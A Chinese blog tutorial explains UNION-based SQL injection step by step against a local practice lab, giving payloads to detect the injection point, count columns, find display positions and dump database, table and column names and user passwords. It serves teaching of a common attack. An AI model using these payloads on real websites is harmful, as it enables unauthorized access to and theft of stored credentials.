SQL注入之联合查询注入

SQL注入之联合查询注入联合查询注入利用的前提前提条件:页面上有显示位什么是显示位?在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位联合注入的过程1、判断注入点2、判断是整型还是字符型3、判断查询列数4、判断显示位5、获取所有数据库名6、获取数据库(test)所有表名7、获取(数据库:test,表:admin)中所有字段名8、获取字段中的数据一、…

大家好,又见面了,我是你们的朋友全栈君。

联合查询注入利用的前提

前提条件:页面上有显示位


什么是显示位?

在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

联合注入的过程

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名

8、获取字段中的数据

一、判断注入点

我们在可能存在SQL注入变量的后边添加以下payload:

and 1=1 / and 1=2 回显页面不同(整形判断) 

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断) 

 \ (转义符) 

-1/+1 回显下一个或上一个页面(整型判断)

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

二、判断是整型还是字符型

输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入

SQL注入之联合查询注入

SQL注入之联合查询注入

输入’ and 1=1 %23和 ‘ and 1=2%23后发现页面变化,判断为字符注入 

为什么输入 1 and 1=1 和 1 and 1=2 能判断是否是整型注入尼?

SQL注入之联合查询注入

在数据库中 1=1 和1=2  后面随便输入字符串(相当于1=1和1=2后面的查询语句),发现select 1=”1dasd”时返回1正确,1=”2dasd”时返回0错误,即select在查询时忽略后面的字符串,只让1和后面第一个数字对比,如果相等就是正确,不相等返回错误。

三、判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数

输入 order by 4%23  发现页面错误,说明没有4列

SQL注入之联合查询注入

输入3列时,页面正常,说明有3列

SQL注入之联合查询注入

四、判断显示位

UNION的作用是将两个select查询结果合并,如下图所示:

SQL注入之联合查询注入

程序在展示数据的时候通常只会取结果集的第一行数据,看一下源码,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。

只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

SQL注入之联合查询注入

可以看到将uid改为-1后第二行打印在页面上。

使union前面的语句报错,执行后面的,爆出显示位,2,3

SQL注入之联合查询注入

五、获取所有数据库名

group_concat()一次性显示: 

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

显示当前数据库: databas()

SQL注入之联合查询注入

六、获取表名

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3%23

SQL注入之联合查询注入

七、获列名

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3%23

SQL注入之联合查询注入

八、获取列中的信息

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23 

用limit控制,一行行得到数据

SQL注入之联合查询注入

SQL注入之联合查询注入

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/143903.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • js跳转页面并刷新(本页面跳转)

    1、跳转常用方法:window.location.href=”index.php”;window.history.back(-1);//类似于按钮,参数是负几,就后退几次。window.navigate(“index.jsp”);//navigate对象包含有关浏览器的信息,也可以作为页面跳转,后面直接加要跳转的地方。self.location.href=index.htm;

  • c语言输入4个整数要求按由小到大_c语言任意输入3个数从小到大排序

    c语言输入4个整数要求按由小到大_c语言任意输入3个数从小到大排序7-2 比较大小 本题要求将输入的任意3个整数从小到大输出。输入格式: 输入在一行中给出3个整数,其间以空格分隔。输出格式: 在一行中将3个整数从小到大输出,其间以“->”相连。 输入样例: 4 2 8 输出样例: 2->4->8/*#include<iostream>using namespace std;int main(){ …

  • matlab中plot画图的颜色线型「建议收藏」

    matlab中plot画图的颜色线型「建议收藏」(matlab)plot画图的颜色线型     y         黄色           ·   &nbsp…

  • DSP的入门教程「建议收藏」

    DSP的入门教程「建议收藏」(1)第一步:打开CCS5.2,新建一个工程。(2)第二步:输入工程名后点击“finish”如图(3)第三步:右键单击工程名-“properties“如图(4)第四步:所有头文件路径添加完成后,点击“ok”,如图(5)第五步:添加工程所需头文件,如图依次添加需要头文件,添加时按下图添加:添加完成后,如图:(6)第六步:程序编写(7)第七步:对程序进行编译。编译结果:…

  • 大数据的使用方法,主要有哪些?「建议收藏」

    大数据的使用方法,主要有哪些?「建议收藏」我们正处于福雷斯特研究公司所描述的“用户时代”,这个时代中驱动业务决策的不再是公司,而是用户。基于这个原因,深度理解用户的重要性已经远胜以往,因此许多机构开始使用大数据技术来挖掘用户信息。在这个时代,企图收获成功(甚至是求生存)的在线业务必须切实的理解顾客的体验和行为,因此海量数据的收集及挖掘能力成了这些机构的必备手段。当下,有许多机构的分析仍处于数据的收集上,组织能力的缺乏和技术的限制让这些收…

  • ASP.NET 如何使用 SqlTransaction

    ASP.NET 如何使用 SqlTransactiontransaction属性: 1.原子性:事务是一个完整的操作,事务的各元素师不可分的。2.一致性:事务开始时和完成时,数据必须处于一致的状态。3.隔离性:对数据进行修改的所有并发事务是彼此隔离的。4.持久性:事务完成后,它对系统的影响是永久的。  ASP.NET使用SqlTransaction处理事务操作 SqlTransaction类是对SQLSe

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号